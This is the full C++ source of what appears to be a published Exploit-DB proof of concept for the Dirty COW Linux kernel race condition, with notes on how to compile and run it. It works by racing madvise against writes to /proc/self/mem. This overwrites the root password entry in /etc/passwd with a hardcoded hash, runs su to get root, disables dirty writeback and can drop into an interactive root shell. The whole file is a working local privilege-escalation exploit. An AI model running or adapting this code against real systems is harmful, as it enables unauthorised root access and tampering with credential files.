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// EDB-Note: Compile: g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run: ./dcow -s (Will automatically do "echo 0 > /proc/sys/vm/dirty_writeback_centisecs")
//
// -----------------------------------------------------------------
// Copyright (C) 2016 Gabriele Bonacini
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
// -----------------------------------------------------------------
#include <iostream>
#include <fstream>
#include <string>
#include <thread>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <pty.h>
#include <string.h>
#include <termios.h>
#include <sys/wait.h>
#include <signal.h>
#define BUFFSIZE 1024
#define PWDFILE "/etc/passwd"
#define BAKFILE "./.ssh_bak"
#define TMPBAKFILE "/tmp/.ssh_bak"
#define PSM "/proc/self/mem"
#define ROOTID "root:"
#define SSHDID "sshd:"
#define MAXITER 300
#define DEFPWD "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
#define TXTPWD "dirtyCowFun\n"
#define DISABLEWB "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
#define EXITCMD "exit\n"
#define CPCMD "cp "
#define RMCMD "rm "
using namespace std;
class Dcow{
private:
bool run, rawMode, opShell, restPwd;
void *map;
int fd, iter, master, wstat;
string buffer, etcPwd, etcPwdBak,
root, user, pwd, sshd;
thread *writerThr, *madviseThr, *checkerThr;
ifstream *extPwd;
ofstream *extPwdBak;
struct passwd *userId;
pid_t child;
char buffv[BUFFSIZE];
fd_set rfds;
struct termios termOld, termNew;
ssize_t ign;
void exitOnError(string msg);
public:
Dcow(bool opSh, bool rstPwd);
~Dcow(void);
int expl(void);
};
Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr),
child(0){
userId = getpwuid(getuid());
user.append(userId->pw_name).append(":");
extPwd = new ifstream(PWDFILE);
while (getline(*extPwd, buffer)){
buffer.append("\n");
etcPwdBak.append(buffer);
if(buffer.find(root) == 0){
etcPwd.insert(0, root).insert(root.size(), pwd);
etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(),
buffer.begin() + buffer.find(":", root.size()), buffer.end());
}else if(buffer.find(user) == 0 || buffer.find(sshd) == 0 ){
etcPwd.insert(0, buffer);
}else{
etcPwd.append(buffer);
}
}
extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
extPwdBak->close();
fd = open(PWDFILE,O_RDONLY);
map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
}
Dcow::~Dcow(void){
extPwd->close();
close(fd);
delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
if(child != 0) wait(&wstat);
}
void Dcow::exitOnError(string msg){
cerr << msg << endl;
// if(child != 0) kill(child, SIGKILL);
throw new exception();
}
int Dcow::expl(void){
madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} });
writerThr = new thread([&](){ int fpsm = open(PSM,O_RDWR);
while(run){ lseek(fpsm, reinterpret_cast<off_t>(map), SEEK_SET);
ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
});
checkerThr = new thread([&](){ while(iter <= MAXITER){
extPwd->clear(); extPwd->seekg(0, ios::beg);
buffer.assign(istreambuf_iterator<char>(*extPwd),
istreambuf_iterator<char>());
if(buffer.find(pwd) != string::npos &&
buffer.size() >= etcPwdBak.size()){
run = false; break;
}
iter ++; usleep(300000);
}
run = false;
});
cerr << "Running ..." << endl;
madviseThr->join();
writerThr->join();
checkerThr->join();
if(iter <= MAXITER){
child = forkpty(&master, nullptr, nullptr, nullptr);
if(child == -1) exitOnError("Error forking pty.");
if(child == 0){
execlp("su", "su", "-", nullptr);
exitOnError("Error on exec.");
}
if(opShell) cerr << "Password overridden to: " << TXTPWD << endl;
memset(buffv, 0, BUFFSIZE);
ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
if(bytes_read <= 0) exitOnError("Error reading su prompt.");
cerr << "Received su prompt (" << buffv << ")" << endl;
if(write(master, TXTPWD, strlen(TXTPWD)) <= 0)
exitOnError("Error writing pwd on tty.");
if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0)
exitOnError("Error writing cmd on tty.");
if(!opShell){
if(write(master, EXITCMD, strlen(EXITCMD)) <= 0)
exitOnError("Error writing exit cmd on tty.");
}else{
if(restPwd){
string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n");
if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
exitOnError("Error writing restore cmd on tty.");
restoreCmd = string(RMCMD).append(TMPBAKFILE).append("\n");
if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
exitOnError("Error writing restore cmd (rm) on tty.");
}
if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
exitOnError("Error getting terminal attributes.");
termNew = termOld;
termNew.c_lflag &= static_cast<unsigned long>(~(ICANON | ECHO));
if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
exitOnError("Error setting terminal in non-canonical mode.");
rawMode = true;
while(true){
FD_ZERO(&rfds);
FD_SET(master, &rfds);
FD_SET(STDIN_FILENO, &rfds);
if(select(master + 1, &rfds, nullptr, nullptr, nullptr) < 0 )
exitOnError("Error on select tty.");
if(FD_ISSET(master, &rfds)) {
memset(buffv, 0, BUFFSIZE);
bytes_read = read(master, buffv, BUFFSIZE - 1);
if(bytes_read <= 0) break;
if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
exitOnError("Error writing on stdout.");
}
if(FD_ISSET(STDIN_FILENO, &rfds)) {
memset(buffv, 0, BUFFSIZE);
bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
if(bytes_read <= 0) exitOnError("Error reading from stdin.");
if(write(master, buffv, bytes_read) != bytes_read) break;
}
}
}
}
return [](int ret, bool shell){
string msg = shell ? "Exit.\n" : string("Root password is: ") + TXTPWD + "Enjoy! :-)\n";
if(ret <= MAXITER){cerr << msg; return 0;}
else{cerr << "Exploit failed.\n"; return 1;}
}(iter, opShell);
}
void printInfo(char* cmd){
cerr << cmd << " [-s] [-n] | [-h]\n" << endl;
cerr << " -s open directly a shell, if the exploit is successful;" << endl;
cerr << " -n combined with -s, doesn't restore the passwd file." << endl;
cerr << " -h print this synopsis;" << endl;
cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl;
cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl;
cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl;
exit(1);
}
int main(int argc, char** argv){
const char flags[] = "shn";
int c;
bool opShell = false,
restPwd = true;
opterr = 0;
while ((c = getopt(argc, argv, flags)) != -1){
switch (c){
case 's':
opShell = true;
break;
case 'n':
restPwd = false;
break;
case 'h':
printInfo(argv[0]);
break;
default:
cerr << "Invalid parameter." << endl << endl;
printInfo(argv[0]);
}
}
if(!restPwd && !opShell){
cerr << "Invalid parameter: -n requires -s" << endl << endl;
printInfo(argv[0]);
}
Dcow dcow(opShell, restPwd);
return dcow.expl();
}
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